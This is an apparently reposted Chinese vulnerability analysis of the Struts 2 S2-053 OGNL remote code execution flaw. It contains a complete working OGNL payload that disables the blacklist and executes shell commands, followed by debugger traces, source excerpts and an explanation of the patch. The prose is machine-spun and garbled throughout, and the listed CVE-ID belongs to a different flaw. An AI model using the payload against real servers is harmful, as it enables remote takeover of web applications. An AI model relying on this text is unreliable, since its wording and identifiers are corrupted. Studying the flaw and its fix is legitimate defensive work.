频道栏目
首页 > 资讯 > 系统安全 > 正文

Struts 2 S2-053破绽漏洞bug专题研究(配POC)

17-09-18        来源:[db:作者]  
收藏   我要投稿

破绽漏洞bug概述

破绽漏洞bug范例

长途代码履行破绽漏洞bug

CVE-ID

CVE-2017-1000112

迫害品级

高危

影响版本

Struts 2.0.1Struts 2.3.33Struts 2.5 – Struts 2.5.10

破绽漏洞bug迫害

当开发者在Freemarker标签中应用以下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当成表达式停止履行,末了招致代码履行。

poc示例

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
poc调试

简略浏览poc后,按照惯例,将断点打在ProcessBuilder类的start()办法

//java.lang.ProcessBuilder
public Process start() throws IOException {
        // Must convert to array first -- a malicious user-supplied
        // list might try to circumvent the security check.
        String[] cmdarray = command.toArray(new String[command.size()]);
        cmdarray = cmdarray.clone();
        for (String arg : cmdarray)
            if (arg == null)
                throw new NullPointerException();
        // Throws IndexOutOfBoundsException if command is empty
        String prog = cmdarray[0];
        SecurityManager security = System.getSecurityManager();
        if (security != null)
            security.checkExec(prog);
        String dir = directory == null ? null : directory.toString();
        for (int i = 1; i < cmdarray.length; i++) {
            if (cmdarray[i].indexOf('\u0000') >= 0) {
                throw new IOException("invalid null character in command");
            }
        }
        try {
            return ProcessImpl.start(cmdarray,
                                     environment,
                                     dir,
                                     redirects,
                                     redirectErrorStream);
        } catch (IOException | IllegalArgumentException e) {
            String exceptionInfo = ": " + e.getMessage();
            Throwable cause = e;
            if ((e instanceof IOException) && security != null) {
                // Can not disclose the fail reason for read-protected files.
                try {
                    security.checkRead(prog);

                } catch (SecurityException se) {
                    exceptionInfo = "";
                    cause = se;
                }
            }
            // It's much easier for us to create a high-quality error
            // message than the low-level C code which found the problem.
            throw new IOException(
                "Cannot run program \"" + prog + "\""
                + (dir == null ? "" : " (in directory \"" + dir + "\")")
                + exceptionInfo,
                cause);
        }
    }
进入断点,咱们拿到了办法的挪用栈信息

 

"qtp407997647-16@2296" prio=5 tid=0x10 nid=NA runnable
  java.lang.Thread.State: RUNNABLE
      at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007)
      at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
      at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
      at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
      at java.lang.reflect.Method.invoke(Method.java:498)
      at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:873)
      - locked <0x1393> (a java.lang.reflect.Method)
      at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1539)
      at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
      at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:96)
      at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:88)
      at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:1615)
      at ognl.ASTMethod.getValueBody(ASTMethod.java:91)
      at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
      at ognl.SimpleNode.getValue(SimpleNode.java:258)
      at ognl.ASTChain.getValueBody(ASTChain.java:141)
      at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
      at ognl.SimpleNode.getValue(SimpleNode.java:258)
      at ognl.ASTAssign.getValueBody(ASTAssign.java:52)
      at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
      at ognl.SimpleNode.getValue(SimpleNode.java:258)
      at ognl.ASTChain.getValueBody(ASTChain.java:141)
      at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
      at ognl.SimpleNode.getValue(SimpleNode.java:258)
      at ognl.Ognl.getValue(Ognl.java:467)
      at com.opensymphony.xwork2.ognl.OgnlUtil$4.execute(OgnlUtil.java:359)
      at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:382)
      at com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:357)
      at com.opensymphony.xwork2.ognl.OgnlValueStack.getValue(OgnlValueStack.java:360)
      at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValue(OgnlValueStack.java:348)
      at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValueWhenExpressionIsNotNull(OgnlValueStack.java:323)
      at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:307)
      at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:368)

{C}      at com.opensymphony.xwork2.util.TextParseUtil$1.evaluate(TextParseUtil.java:156)
      at com.opensymphony.xwork2.util.OgnlTextParser.evaluate(OgnlTextParser.java:49)
      at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:166)
      at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:109)
      at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:82)
      at org.apache.struts2.components.Component.findValue(Component.java:377)
      at org.apache.struts2.components.Component.findString(Component.java:223)
      at org.apache.struts2.components.URL.findString(URL.java:150)
      at org.apache.struts2.components.ComponentUrlProvider.findString(ComponentUrlProvider.java:76)
      at org.apache.struts2.components.ServletUrlRenderer.beforeRenderUrl(ServletUrlRenderer.java:242)
      at org.apache.struts2.components.URL.start(URL.java:140)
      at org.apache.struts2.views.freemarker.tags.CallbackWriter.onStart(CallbackWriter.java:73)
      at freemarker.core.Environment.visitAndTransform(Environment.java:422)
      at freemarker.core.UnifiedCall.accept(UnifiedCall.java:107)
      at freemarker.core.Environment.visit(Environment.java:324)
      at freemarker.core.MixedContent.accept(MixedContent.java:54)
      at freemarker.core.Environment.visit(Environment.java:324)
      at freemarker.core.Environment.process(Environment.java:302)
      at freemarker.template.Template.process(Template.java:325)
      at org.apache.struts2.views.freemarker.FreemarkerResult.doExecute(FreemarkerResult.java:233)
      at org.apache.struts2.result.StrutsResultSupport.execute(StrutsResultSupport.java:208)
      at com.opensymphony.xwork2.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:373)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:277)
      at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:253)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:177)
      at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:260)
      at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:73)
      at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:139)
      at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133)
      at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133)
      at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)

 

{C}      at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:192)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:69)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:115)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:88)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:248)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:155)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174)
      at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:120)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:171)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:195)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)
      at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
      at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:54)
      at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564)
      at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
      at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)
这个破绽漏洞bug跟数目繁多的Interceptor没有甚么干系,咱们间接将注意力会合到freemarker衬着实现后的代码。freemarker给struts2前往的工具仍旧含有客户端传入的ognl表达式,struts2框架就如许履行了咱们结构的歹意代码。

 

//org.apache.struts2.components.component
/
      Evaluates the OGNL stack to find an Object of the given type. Will evaluate
      expr the portion wrapped with altSyntax (%{...})
      against stack when altSyntax is on, else the whole expr
      is evaluated against the stack.
     

      This method only supports the altSyntax. So this should be set to true.
      @param expr  OGNL expression.
      @param toType  the type expected to find.
      @return  the Object found, or null if not found.

{C}     /
    protected Object findValue(String expr, Class toType) {
        if (altSyntax() && toType == String.class) {
            if (ComponentUtils.containsExpression(expr)) {
                return TextParseUtil.translateVariables('%', expr, stack);
            } else {
                return expr;
            }
        } else {
            expr = stripExpressionIfAltSyntax(expr);
            return getStack().findValue(expr, toType, throwExceptionOnELFailure);
        }
    }
看到这里,咱们不由怀疑,struts2的代码就写的这么不安全,没有对表达式做任何处置吗?实在不是的,咱们看下面的代码很显著是一个黑名单机制,感兴趣的同伙能够打断点看看,示例POC里的很多类都榜上有名

 

//com.opensymphony.xwork2.ognl.OgnlValueStack
@Inject
    public void setOgnlUtil(OgnlUtil ognlUtil) {
        this.ognlUtil = ognlUtil;
        securityMemberAccess.setExcludedClasses(ognlUtil.getExcludedClasses());
        securityMemberAccess.setExcludedPackageNamePatterns(ognlUtil.getExcludedPackageNamePatterns());
        securityMemberAccess.setExcludedPackageNames(ognlUtil.getExcludedPackageNames());
        securityMemberAccess.setDisallowProxyMemberAccess(ognlUtil.isDisallowProxyMemberAccess());
    }
但是,道高一尺,魔高一丈,以彼之矛攻彼之盾。咱们间接把用ognl把黑名单给删了。所有的类都能够无阻畅通的结构和履行办法。

(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
民间修复

民间的修复办法非常奇妙,并无去增长额定的过滤咱们看一下2.5.10的代码

//com.opensymphony.xwork2.ognl.OgnlUtil
    @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
    public void setExcludedPackageNames(String commaDelimitedPackageNames) {
        excludedPackageNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames);
    }
和2.5.12的代码

//com.opensymphony.xwork2.ognl.OgnlUtil
    @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
    public void setExcludedPackageNames(String commaDelimitedPackageNames) {
        excludedPackageNames = Collections.unmodifiableSet(TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames));
    }
再回想咱们绕过黑名单的代码

#ognlUtil.getExcludedPackageNames().clear()
struts2针对这类舞弊的办法,将excludedPackageNames设为了UnmodifiableSet范例的工具,在这个工具上挪用clear()办法,就会抛出java.lang.UnsupportedOperationException范例的非常,法式进入非常处置分支,防止了后续歹意代码的履行

总结

这个破绽漏洞bug呈现的前提比拟刻薄,必要应用struts2和freemarker,并且必要编码职员有疏漏。但是这并不会转变这是一个高危破绽漏洞bug的现实。一旦网站被发现了这个破绽漏洞bug,效果将是劫难性的。倡议struts2应用者照样尽快进级版本。
 

 

相关TAG标签
上一篇:[win10激活]小马win10永久激活工具 win10激企业版激活(附汇秘钥)
下一篇:微软Microsoft .NET Framework破绽漏洞bug(CVE–2017–8759)警示
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站